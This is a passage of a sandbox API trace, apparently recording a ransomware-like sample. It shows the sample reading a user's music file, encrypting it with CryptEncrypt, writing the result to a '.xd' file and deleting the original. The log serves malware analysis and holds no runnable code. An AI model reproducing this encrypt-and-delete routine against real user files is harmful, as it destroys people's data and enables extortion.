lpMsg=0x130f164) returned 0 [0064.314] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia")) returned 0x10 [0064.315] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kybdoug3-qgcuqm.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.315] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.319] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.319] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf24b, lpOverlapped=0x0) returned 1 [0064.321] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.324] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.324] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.324] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.324] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.325] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.325] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.325] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.325] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.325] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.325] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.326] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.326] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629710, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629710*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.326] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.326] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.326] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.327] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.327] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.335] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.335] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.335] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.336] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.336] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.339] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.340] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.340] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf24b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf250) returned 1 [0064.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.340] CharLowerBuffW (in: lpsz="byte[62033]", cchLength=0xb | out: lpsz="byte[62033]") returned 0xb [0064.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.342] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.342] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.342] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf24b, dwBufLen=0xf250 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf250) returned 1 [0064.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.343] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.343] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.343] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.343] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.343] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.343] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.343] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.343] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.343] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.343] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.349] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xf250, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xf250, lpOverlapped=0x0) returned 1 [0064.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.351] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.351] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.351] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.351] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.351] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.351] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.351] CryptDestroyKey (hKey=0x164c330) returned 1 [0064.352] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.352] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.352] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.352] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.352] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.352] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.352] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.352] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.352] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.353] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.353] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.353] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.353] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.353] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.353] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.353] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.353] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.353] CryptReleaseContext (hProv=0x17ab220, dwFlags=0x0) returned 1 [0064.353] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.353] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.353] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.353] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.354] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.354] CloseHandle (hObject=0x2ac) returned 1 [0064.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.354] CloseHandle (hObject=0x3bc) returned 1 [0064.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.362] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", lpFilePart=0x0) returned 0x3e [0064.362] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kybdoug3-qgcuqm.m4a")) returned 0x20 [0064.362] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c830 [0064.362] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kybdoug3-qgcuqm.m4a")) returned 